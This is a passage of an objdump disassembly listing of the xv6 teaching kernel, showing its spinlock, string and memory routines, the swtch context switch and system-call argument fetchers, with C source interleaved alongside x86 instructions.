8010467f: 0f 94 c3 sete %bl 80104682: 0f b6 db movzbl %bl,%ebx popcli(); 80104685: e8 66 ff ff ff call 801045f0 <popcli> return r; } 8010468a: 89 d8 mov %ebx,%eax 8010468c: 5b pop %ebx 8010468d: 5e pop %esi 8010468e: 5d pop %ebp 8010468f: c3 ret 80104690 <acquire>: // Loops (spins) until the lock is acquired. // Holding a lock for a long time may cause // other CPUs to waste time spinning to acquire it. void acquire(struct spinlock *lk) { 80104690: 55 push %ebp 80104691: 89 e5 mov %esp,%ebp 80104693: 53 push %ebx 80104694: 83 ec 04 sub $0x4,%esp pushcli(); // disable interrupts to avoid deadlock. 80104697: e8 14 ff ff ff call 801045b0 <pushcli> if(holding(lk)) 8010469c: 8b 5d 08 mov 0x8(%ebp),%ebx 8010469f: 83 ec 0c sub $0xc,%esp 801046a2: 53 push %ebx 801046a3: e8 b8 ff ff ff call 80104660 <holding> 801046a8: 83 c4 10 add $0x10,%esp 801046ab: 85 c0 test %eax,%eax 801046ad: 0f 85 7d 00 00 00 jne 80104730 <acquire+0xa0> xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 801046b3: ba 01 00 00 00 mov $0x1,%edx 801046b8: eb 09 jmp 801046c3 <acquire+0x33> 801046ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801046c0: 8b 5d 08 mov 0x8(%ebp),%ebx 801046c3: 89 d0 mov %edx,%eax 801046c5: f0 87 03 lock xchg %eax,(%ebx) panic("acquire"); // The xchg is atomic. while(xchg(&lk->locked, 1) != 0) 801046c8: 85 c0 test %eax,%eax 801046ca: 75 f4 jne 801046c0 <acquire+0x30> ; // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); 801046cc: f0 83 0c 24 00 lock orl $0x0,(%esp) // Record info about lock acquisition for debugging. lk->cpu = mycpu(); 801046d1: 8b 5d 08 mov 0x8(%ebp),%ebx 801046d4: e8 37 f0 ff ff call 80103710 <mycpu> getcallerpcs(void *v, uint pcs[]) { uint *ebp; int i; ebp = (uint*)v - 2; 801046d9: 89 ea mov %ebp,%edx // references happen after the lock is acquired. __sync_synchronize(); // Record info about lock acquisition for debugging. lk->cpu = mycpu(); getcallerpcs(&lk, lk->pcs); 801046db: 8d 4b 0c lea 0xc(%ebx),%ecx // past this point, to ensure that the critical section's memory // references happen after the lock is acquired. __sync_synchronize(); // Record info about lock acquisition for debugging. lk->cpu = mycpu(); 801046de: 89 43 08 mov %eax,0x8(%ebx) { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 801046e1: 31 c0 xor %eax,%eax 801046e3: 90 nop 801046e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 801046e8: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx 801046ee: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 801046f4: 77 1a ja 80104710 <acquire+0x80> break; pcs[i] = ebp[1]; // saved %eip 801046f6: 8b 5a 04 mov 0x4(%edx),%ebx 801046f9: 89 1c 81 mov %ebx,(%ecx,%eax,4) { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 801046fc: 83 c0 01 add $0x1,%eax if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp 801046ff: 8b 12 mov (%edx),%edx { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80104701: 83 f8 0a cmp $0xa,%eax 80104704: 75 e2 jne 801046e8 <acquire+0x58> __sync_synchronize(); // Record info about lock acquisition for debugging. lk->cpu = mycpu(); getcallerpcs(&lk, lk->pcs); } 80104706: 8b 5d fc mov -0x4(%ebp),%ebx 80104709: c9 leave 8010470a: c3 ret 8010470b: 90 nop 8010470c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) pcs[i] = 0; 80104710: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 80104717: 83 c0 01 add $0x1,%eax 8010471a: 83 f8 0a cmp $0xa,%eax 8010471d: 74 e7 je 80104706 <acquire+0x76> pcs[i] = 0; 8010471f: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 80104726: 83 c0 01 add $0x1,%eax 80104729: 83 f8 0a cmp $0xa,%eax 8010472c: 75 e2 jne 80104710 <acquire+0x80> 8010472e: eb d6 jmp 80104706 <acquire+0x76> void acquire(struct spinlock *lk) { pushcli(); // disable interrupts to avoid deadlock. if(holding(lk)) panic("acquire"); 80104730: 83 ec 0c sub $0xc,%esp 80104733: 68 b5 7a 10 80 push $0x80107ab5 80104738: e8 33 bc ff ff call 80100370 <panic> 8010473d: 8d 76 00 lea 0x0(%esi),%esi 80104740 <release>: } // Release the lock. void release(struct spinlock *lk) { 80104740: 55 push %ebp 80104741: 89 e5 mov %esp,%ebp 80104743: 53 push %ebx 80104744: 83 ec 10 sub $0x10,%esp 80104747: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holding(lk)) 8010474a: 53 push %ebx 8010474b: e8 10 ff ff ff call 80104660 <holding> 80104750: 83 c4 10 add $0x10,%esp 80104753: 85 c0 test %eax,%eax 80104755: 74 22 je 80104779 <release+0x39> panic("release"); lk->pcs[0] = 0; 80104757: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 8010475e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) // Tell the C compiler and the processor to not move loads or stores // past this point, to ensure that all the stores in the critical // section are visible to other cores before the lock is released. // Both the C compiler and the hardware may re-order loads and // stores; __sync_synchronize() tells them both not to. __sync_synchronize(); 80104765: f0 83 0c 24 00 lock orl $0x0,(%esp) // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 8010476a: c7 03 00 00 00 00 movl $0x0,(%ebx) popcli(); } 80104770: 8b 5d fc mov -0x4(%ebp),%ebx 80104773: c9 leave // Release the lock, equivalent to lk->locked = 0. // This code can't use a C assignment, since it might // not be atomic. A real OS would use C atomics here. asm volatile("movl $0, %0" : "+m" (lk->locked) : ); popcli(); 80104774: e9 77 fe ff ff jmp 801045f0 <popcli> // Release the lock. void release(struct spinlock *lk) { if(!holding(lk)) panic("release"); 80104779: 83 ec 0c sub $0xc,%esp 8010477c: 68 bd 7a 10 80 push $0x80107abd 80104781: e8 ea bb ff ff call 80100370 <panic> 80104786: 66 90 xchg %ax,%ax 80104788: 66 90 xchg %ax,%ax 8010478a: 66 90 xchg %ax,%ax 8010478c: 66 90 xchg %ax,%ax 8010478e: 66 90 xchg %ax,%ax 80104790 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80104790: 55 push %ebp 80104791: 89 e5 mov %esp,%ebp 80104793: 57 push %edi 80104794: 53 push %ebx 80104795: 8b 55 08 mov 0x8(%ebp),%edx 80104798: 8b 4d 10 mov 0x10(%ebp),%ecx if ((int)dst%4 == 0 && n%4 == 0){ 8010479b: f6 c2 03 test $0x3,%dl 8010479e: 75 05 jne 801047a5 <memset+0x15> 801047a0: f6 c1 03 test $0x3,%cl 801047a3: 74 13 je 801047b8 <memset+0x28> } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 801047a5: 89 d7 mov %edx,%edi 801047a7: 8b 45 0c mov 0xc(%ebp),%eax 801047aa: fc cld 801047ab: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 801047ad: 5b pop %ebx 801047ae: 89 d0 mov %edx,%eax 801047b0: 5f pop %edi 801047b1: 5d pop %ebp 801047b2: c3 ret 801047b3: 90 nop 801047b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi void* memset(void *dst, int c, uint n) { if ((int)dst%4 == 0 && n%4 == 0){ c &= 0xFF; 801047b8: 0f b6 7d 0c movzbl 0xc(%ebp),%edi } static inline void stosl(void *addr, int data, int cnt) { asm volatile("cld; rep stosl" : 801047bc: c1 e9 02 shr $0x2,%ecx 801047bf: 89 fb mov %edi,%ebx 801047c1: 89 f8 mov %edi,%eax 801047c3: c1 e3 18 shl $0x18,%ebx 801047c6: c1 e0 10 shl $0x10,%eax 801047c9: 09 d8 or %ebx,%eax 801047cb: 09 f8 or %edi,%eax 801047cd: c1 e7 08 shl $0x8,%edi 801047d0: 09 f8 or %edi,%eax 801047d2: 89 d7 mov %edx,%edi 801047d4: fc cld 801047d5: f3 ab rep stos %eax,%es:(%edi) stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 801047d7: 5b pop %ebx 801047d8: 89 d0 mov %edx,%eax 801047da: 5f pop %edi 801047db: 5d pop %ebp 801047dc: c3 ret 801047dd: 8d 76 00 lea 0x0(%esi),%esi 801047e0 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 801047e0: 55 push %ebp 801047e1: 89 e5 mov %esp,%ebp 801047e3: 57 push %edi 801047e4: 56 push %esi 801047e5: 8b 45 10 mov 0x10(%ebp),%eax 801047e8: 53 push %ebx 801047e9: 8b 75 0c mov 0xc(%ebp),%esi 801047ec: 8b 5d 08 mov 0x8(%ebp),%ebx const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 801047ef: 85 c0 test %eax,%eax 801047f1: 74 29 je 8010481c <memcmp+0x3c> if(*s1 != *s2) 801047f3: 0f b6 13 movzbl (%ebx),%edx 801047f6: 0f b6 0e movzbl (%esi),%ecx 801047f9: 38 d1 cmp %dl,%cl 801047fb: 75 2b jne 80104828 <memcmp+0x48> 801047fd: 8d 78 ff lea -0x1(%eax),%edi 80104800: 31 c0 xor %eax,%eax 80104802: eb 14 jmp 80104818 <memcmp+0x38> 80104804: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104808: 0f b6 54 03 01 movzbl 0x1(%ebx,%eax,1),%edx 8010480d: 83 c0 01 add $0x1,%eax 80104810: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx 80104814: 38 ca cmp %cl,%dl 80104816: 75 10 jne 80104828 <memcmp+0x48> { const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 80104818: 39 f8 cmp %edi,%eax 8010481a: 75 ec jne 80104808 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 8010481c: 5b pop %ebx if(*s1 != *s2) return *s1 - *s2; s1++, s2++; } return 0; 8010481d: 31 c0 xor %eax,%eax } 8010481f: 5e pop %esi 80104820: 5f pop %edi 80104821: 5d pop %ebp 80104822: c3 ret 80104823: 90 nop 80104824: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s1 = v1; s2 = v2; while(n-- > 0){ if(*s1 != *s2) return *s1 - *s2; 80104828: 0f b6 c2 movzbl %dl,%eax s1++, s2++; } return 0; } 8010482b: 5b pop %ebx s1 = v1; s2 = v2; while(n-- > 0){ if(*s1 != *s2) return *s1 - *s2; 8010482c: 29 c8 sub %ecx,%eax s1++, s2++; } return 0; } 8010482e: 5e pop %esi 8010482f: 5f pop %edi 80104830: 5d pop %ebp 80104831: c3 ret 80104832: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104839: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104840 <memmove>: void* memmove(void *dst, const void *src, uint n) { 80104840: 55 push %ebp 80104841: 89 e5 mov %esp,%ebp 80104843: 56 push %esi 80104844: 53 push %ebx 80104845: 8b 45 08 mov 0x8(%ebp),%eax 80104848: 8b 75 0c mov 0xc(%ebp),%esi 8010484b: 8b 5d 10 mov 0x10(%ebp),%ebx const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 8010484e: 39 c6 cmp %eax,%esi 80104850: 73 2e jae 80104880 <memmove+0x40> 80104852: 8d 0c 1e lea (%esi,%ebx,1),%ecx 80104855: 39 c8 cmp %ecx,%eax 80104857: 73 27 jae 80104880 <memmove+0x40> s += n; d += n; while(n-- > 0) 80104859: 85 db test %ebx,%ebx 8010485b: 8d 53 ff lea -0x1(%ebx),%edx 8010485e: 74 17 je 80104877 <memmove+0x37> *--d = *--s; 80104860: 29 d9 sub %ebx,%ecx 80104862: 89 cb mov %ecx,%ebx 80104864: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104868: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 8010486c: 88 0c 10 mov %cl,(%eax,%edx,1) s = src; d = dst; if(s < d && s + n > d){ s += n; d += n; while(n-- > 0) 8010486f: 83 ea 01 sub $0x1,%edx 80104872: 83 fa ff cmp $0xffffffff,%edx 80104875: 75 f1 jne 80104868 <memmove+0x28> } else while(n-- > 0) *d++ = *s++; return dst; } 80104877: 5b pop %ebx 80104878: 5e pop %esi 80104879: 5d pop %ebp 8010487a: c3 ret 8010487b: 90 nop 8010487c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 80104880: 31 d2 xor %edx,%edx 80104882: 85 db test %ebx,%ebx 80104884: 74 f1 je 80104877 <memmove+0x37> 80104886: 8d 76 00 lea 0x0(%esi),%esi 80104889: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi *d++ = *s++; 80104890: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104894: 88 0c 10 mov %cl,(%eax,%edx,1) 80104897: 83 c2 01 add $0x1,%edx s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 8010489a: 39 d3 cmp %edx,%ebx 8010489c: 75 f2 jne 80104890 <memmove+0x50> *d++ = *s++; return dst; } 8010489e: 5b pop %ebx 8010489f: 5e pop %esi 801048a0: 5d pop %ebp 801048a1: c3 ret 801048a2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801048a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801048b0 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 801048b0: 55 push %ebp 801048b1: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 801048b3: 5d pop %ebp // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { return memmove(dst, src, n); 801048b4: eb 8a jmp 80104840 <memmove> 801048b6: 8d 76 00 lea 0x0(%esi),%esi 801048b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801048c0 <strncmp>: } int strncmp(const char *p, const char *q, uint n) { 801048c0: 55 push %ebp 801048c1: 89 e5 mov %esp,%ebp 801048c3: 57 push %edi 801048c4: 56 push %esi 801048c5: 8b 4d 10 mov 0x10(%ebp),%ecx 801048c8: 53 push %ebx 801048c9: 8b 7d 08 mov 0x8(%ebp),%edi 801048cc: 8b 75 0c mov 0xc(%ebp),%esi while(n > 0 && *p && *p == *q) 801048cf: 85 c9 test %ecx,%ecx 801048d1: 74 37 je 8010490a <strncmp+0x4a> 801048d3: 0f b6 17 movzbl (%edi),%edx 801048d6: 0f b6 1e movzbl (%esi),%ebx 801048d9: 84 d2 test %dl,%dl 801048db: 74 3f je 8010491c <strncmp+0x5c> 801048dd: 38 d3 cmp %dl,%bl 801048df: 75 3b jne 8010491c <strncmp+0x5c> 801048e1: 8d 47 01 lea 0x1(%edi),%eax 801048e4: 01 cf add %ecx,%edi 801048e6: eb 1b jmp 80104903 <strncmp+0x43> 801048e8: 90 nop 801048e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801048f0: 0f b6 10 movzbl (%eax),%edx 801048f3: 84 d2 test %dl,%dl 801048f5: 74 21 je 80104918 <strncmp+0x58> 801048f7: 0f b6 19 movzbl (%ecx),%ebx 801048fa: 83 c0 01 add $0x1,%eax 801048fd: 89 ce mov %ecx,%esi 801048ff: 38 da cmp %bl,%dl 80104901: 75 19 jne 8010491c <strncmp+0x5c> 80104903: 39 c7 cmp %eax,%edi n--, p++, q++; 80104905: 8d 4e 01 lea 0x1(%esi),%ecx } int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) 80104908: 75 e6 jne 801048f0 <strncmp+0x30> n--, p++, q++; if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 8010490a: 5b pop %ebx strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) n--, p++, q++; if(n == 0) return 0; 8010490b: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; } 8010490d: 5e pop %esi 8010490e: 5f pop %edi 8010490f: 5d pop %ebp 80104910: c3 ret 80104911: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104918: 0f b6 5e 01 movzbl 0x1(%esi),%ebx { while(n > 0 && *p && *p == *q) n--, p++, q++; if(n == 0) return 0; return (uchar)*p - (uchar)*q; 8010491c: 0f b6 c2 movzbl %dl,%eax 8010491f: 29 d8 sub %ebx,%eax } 80104921: 5b pop %ebx 80104922: 5e pop %esi 80104923: 5f pop %edi 80104924: 5d pop %ebp 80104925: c3 ret 80104926: 8d 76 00 lea 0x0(%esi),%esi 80104929: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104930 <strncpy>: char* strncpy(char *s, const char *t, int n) { 80104930: 55 push %ebp 80104931: 89 e5 mov %esp,%ebp 80104933: 56 push %esi 80104934: 53 push %ebx 80104935: 8b 45 08 mov 0x8(%ebp),%eax 80104938: 8b 5d 0c mov 0xc(%ebp),%ebx 8010493b: 8b 4d 10 mov 0x10(%ebp),%ecx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 8010493e: 89 c2 mov %eax,%edx 80104940: eb 19 jmp 8010495b <strncpy+0x2b> 80104942: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104948: 83 c3 01 add $0x1,%ebx 8010494b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 8010494f: 83 c2 01 add $0x1,%edx 80104952: 84 c9 test %cl,%cl 80104954: 88 4a ff mov %cl,-0x1(%edx) 80104957: 74 09 je 80104962 <strncpy+0x32> 80104959: 89 f1 mov %esi,%ecx 8010495b: 85 c9 test %ecx,%ecx 8010495d: 8d 71 ff lea -0x1(%ecx),%esi 80104960: 7f e6 jg 80104948 <strncpy+0x18> ; while(n-- > 0) 80104962: 31 c9 xor %ecx,%ecx 80104964: 85 f6 test %esi,%esi 80104966: 7e 17 jle 8010497f <strncpy+0x4f> 80104968: 90 nop 80104969: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi *s++ = 0; 80104970: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 80104974: 89 f3 mov %esi,%ebx 80104976: 83 c1 01 add $0x1,%ecx 80104979: 29 cb sub %ecx,%ebx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) ; while(n-- > 0) 8010497b: 85 db test %ebx,%ebx 8010497d: 7f f1 jg 80104970 <strncpy+0x40> *s++ = 0; return os; } 8010497f: 5b pop %ebx 80104980: 5e pop %esi 80104981: 5d pop %ebp 80104982: c3 ret 80104983: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104989: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104990 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104990: 55 push %ebp 80104991: 89 e5 mov %esp,%ebp 80104993: 56 push %esi 80104994: 53 push %ebx 80104995: 8b 4d 10 mov 0x10(%ebp),%ecx 80104998: 8b 45 08 mov 0x8(%ebp),%eax 8010499b: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 8010499e: 85 c9 test %ecx,%ecx 801049a0: 7e 26 jle 801049c8 <safestrcpy+0x38> 801049a2: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 801049a6: 89 c1 mov %eax,%ecx 801049a8: eb 17 jmp 801049c1 <safestrcpy+0x31> 801049aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 801049b0: 83 c2 01 add $0x1,%edx 801049b3: 0f b6 5a ff movzbl -0x1(%edx),%ebx 801049b7: 83 c1 01 add $0x1,%ecx 801049ba: 84 db test %bl,%bl 801049bc: 88 59 ff mov %bl,-0x1(%ecx) 801049bf: 74 04 je 801049c5 <safestrcpy+0x35> 801049c1: 39 f2 cmp %esi,%edx 801049c3: 75 eb jne 801049b0 <safestrcpy+0x20> ; *s = 0; 801049c5: c6 01 00 movb $0x0,(%ecx) return os; } 801049c8: 5b pop %ebx 801049c9: 5e pop %esi 801049ca: 5d pop %ebp 801049cb: c3 ret 801049cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801049d0 <strlen>: int strlen(const char *s) { 801049d0: 55 push %ebp int n; for(n = 0; s[n]; n++) 801049d1: 31 c0 xor %eax,%eax return os; } int strlen(const char *s) { 801049d3: 89 e5 mov %esp,%ebp 801049d5: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 801049d8: 80 3a 00 cmpb $0x0,(%edx) 801049db: 74 0c je 801049e9 <strlen+0x19> 801049dd: 8d 76 00 lea 0x0(%esi),%esi 801049e0: 83 c0 01 add $0x1,%eax 801049e3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 801049e7: 75 f7 jne 801049e0 <strlen+0x10> ; return n; } 801049e9: 5d pop %ebp 801049ea: c3 ret 801049eb <swtch>: # a struct context, and save its address in *old. # Switch stacks to new and pop previously-saved registers. .globl swtch swtch: movl 4(%esp), %eax 801049eb: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 801049ef: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-saved registers pushl %ebp 801049f3: 55 push %ebp pushl %ebx 801049f4: 53 push %ebx pushl %esi 801049f5: 56 push %esi pushl %edi 801049f6: 57 push %edi # Switch stacks movl %esp, (%eax) 801049f7: 89 20 mov %esp,(%eax) movl %edx, %esp 801049f9: 89 d4 mov %edx,%esp # Load new callee-saved registers popl %edi 801049fb: 5f pop %edi popl %esi 801049fc: 5e pop %esi popl %ebx 801049fd: 5b pop %ebx popl %ebp 801049fe: 5d pop %ebp ret 801049ff: c3 ret 80104a00 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 80104a00: 55 push %ebp 80104a01: 89 e5 mov %esp,%ebp 80104a03: 53 push %ebx 80104a04: 83 ec 04 sub $0x4,%esp 80104a07: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *curproc = myproc(); 80104a0a: e8 a1 ed ff ff call 801037b0 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 80104a0f: 8b 00 mov (%eax),%eax 80104a11: 39 d8 cmp %ebx,%eax 80104a13: 76 1b jbe 80104a30 <fetchint+0x30> 80104a15: 8d 53 04 lea 0x4(%ebx),%edx 80104a18: 39 d0 cmp %edx,%eax 80104a1a: 72 14 jb 80104a30 <fetchint+0x30> return -1; *ip = *(int*)(addr); 80104a1c: 8b 45 0c mov 0xc(%ebp),%eax 80104a1f: 8b 13 mov (%ebx),%edx 80104a21: 89 10 mov %edx,(%eax) return 0; 80104a23: 31 c0 xor %eax,%eax } 80104a25: 83 c4 04 add $0x4,%esp 80104a28: 5b pop %ebx 80104a29: 5d pop %ebp 80104a2a: c3 ret 80104a2b: 90 nop 80104a2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi fetchint(uint addr, int *ip) { struct proc *curproc = myproc(); if(addr >= curproc->sz || addr+4 > curproc->sz) return -1; 80104a30: b8 ff ff ff ff mov $0xffffffff,%eax 80104a35: eb ee jmp 80104a25 <fetchint+0x25> 80104a37: 89 f6 mov %esi,%esi 80104a39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104a40 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 80104a40: 55 push %ebp 80104a41: 89 e5 mov %esp,%ebp 80104a43: 53 push %ebx 80104a44: 83 ec 04 sub $0x4,%esp 80104a47: 8b 5d 08 mov 0x8(%ebp),%ebx char *s, *ep; struct proc *curproc = myproc(); 80104a4a: e8 61 ed ff ff call 801037b0 <myproc> if(addr >= curproc->sz) 80104a4f: 39 18 cmp %ebx,(%eax) 80104a51: 76 29 jbe 80104a7c <fetchstr+0x3c> return -1; *pp = (char*)addr; 80104a53: 8b 4d 0c mov 0xc(%ebp),%ecx 80104a56: 89 da mov %ebx,%edx 80104a58: 89 19 mov %ebx,(%ecx) ep = (char*)curproc->sz; 80104a5a: 8b 00 mov (%eax),%eax for(s = *pp; s < ep; s++){ 80104a5c: 39 c3 cmp %eax,%ebx 80104a5e: 73 1c jae 80104a7c <fetchstr+0x3c> if(*s == 0) 80104a60: 80 3b 00 cmpb $0x0,(%ebx) 80104a63: 75 10 jne 80104a75 <fetchstr+0x35> 80104a65: eb 29 jmp 80104a90 <fetchstr+0x50> 80104a67: 89 f6 mov %esi,%esi 80104a69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104a70: 80 3a 00 cmpb $0x0,(%edx) 80104a73: 74 1b je 80104a90 <fetchstr+0x50> if(addr >= curproc->sz) return -1; *pp = (char*)addr; ep = (char*)curproc->sz; for(s = *pp; s < ep; s++){ 80104a75: 83 c2 01 add $0x1,%edx 80104a78: 39 d0 cmp %edx,%eax 80104a7a: 77 f4 ja 80104a70 <fetchstr+0x30> if(*s == 0) return s - *pp; } return -1; } 80104a7c: 83 c4 04 add $0x4,%esp { char *s, *ep; struct proc *curproc = myproc(); if(addr >= curproc->sz) return -1; 80104a7f: b8 ff ff ff ff mov $0xffffffff,%eax for(s = *pp; s < ep; s++){ if(*s == 0) return s - *pp; } return -1; } 80104a84: 5b pop %ebx 80104a85: 5d pop %ebp 80104a86: c3 ret 80104a87: 89 f6 mov %esi,%esi 80104a89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104a90: 83 c4 04 add $0x4,%esp return -1; *pp = (char*)addr; ep = (char*)curproc->sz; for(s = *pp; s < ep; s++){ if(*s == 0) return s - *pp; 80104a93: 89 d0 mov %edx,%eax 80104a95: 29 d8 sub %ebx,%eax } return -1; } 80104a97: 5b pop %ebx 80104a98: 5d pop %ebp 80104a99: c3 ret 80104a9a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104aa0 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104aa0: 55 push %ebp 80104aa1: 89 e5 mov %esp,%ebp 80104aa3: 56 push %esi 80104aa4: 53 push %ebx return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104aa5: e8 06 ed ff ff call 801037b0 <myproc> 80104aaa: 8b 40 18 mov 0x18(%eax),%eax 80104aad: 8b 55 08 mov 0x8(%ebp),%edx 80104ab0: 8b 40 44 mov 0x44(%eax),%eax 80104ab3: 8d 1c 90 lea (%eax,%edx,4),%ebx // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { struct proc *curproc = myproc(); 80104ab6: e8 f5 ec ff ff call 801037b0 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 80104abb: 8b 00 mov (%eax),%eax // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104abd: 8d 73 04 lea 0x4(%ebx),%esi int fetchint(uint addr, int *ip) { struct proc *curproc = myproc(); if(addr >= curproc->sz || addr+4 > curproc->sz) 80104ac0: 39 c6 cmp %eax,%esi 80104ac2: 73 1c jae 80104ae0 <argint+0x40> 80104ac4: 8d 53 08 lea 0x8(%ebx),%edx 80104ac7: 39 d0 cmp %edx,%eax 80104ac9: 72 15 jb 80104ae0 <argint+0x40> return -1; *ip = *(int*)(addr); 80104acb: 8b 45 0c mov 0xc(%ebp),%eax 80104ace: 8b 53 04 mov 0x4(%ebx),%edx 80104ad1: 89 10 mov %edx,(%eax) return 0; 80104ad3: 31 c0 xor %eax,%eax // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); } 80104ad5: 5b pop %ebx 80104ad6: 5e pop %esi 80104ad7: 5d pop %ebp 80104ad8: c3 ret 80104ad9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi fetchint(uint addr, int *ip) { struct proc *curproc = myproc(); if(addr >= curproc->sz || addr+4 > curproc->sz) return -1; 80104ae0: b8 ff ff ff ff mov $0xffffffff,%eax 80104ae5: eb ee jmp 80104ad5 <argint+0x35> 80104ae7: 89 f6 mov %esi,%esi 80104ae9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104af0 <argptr>: // Fetch the nth 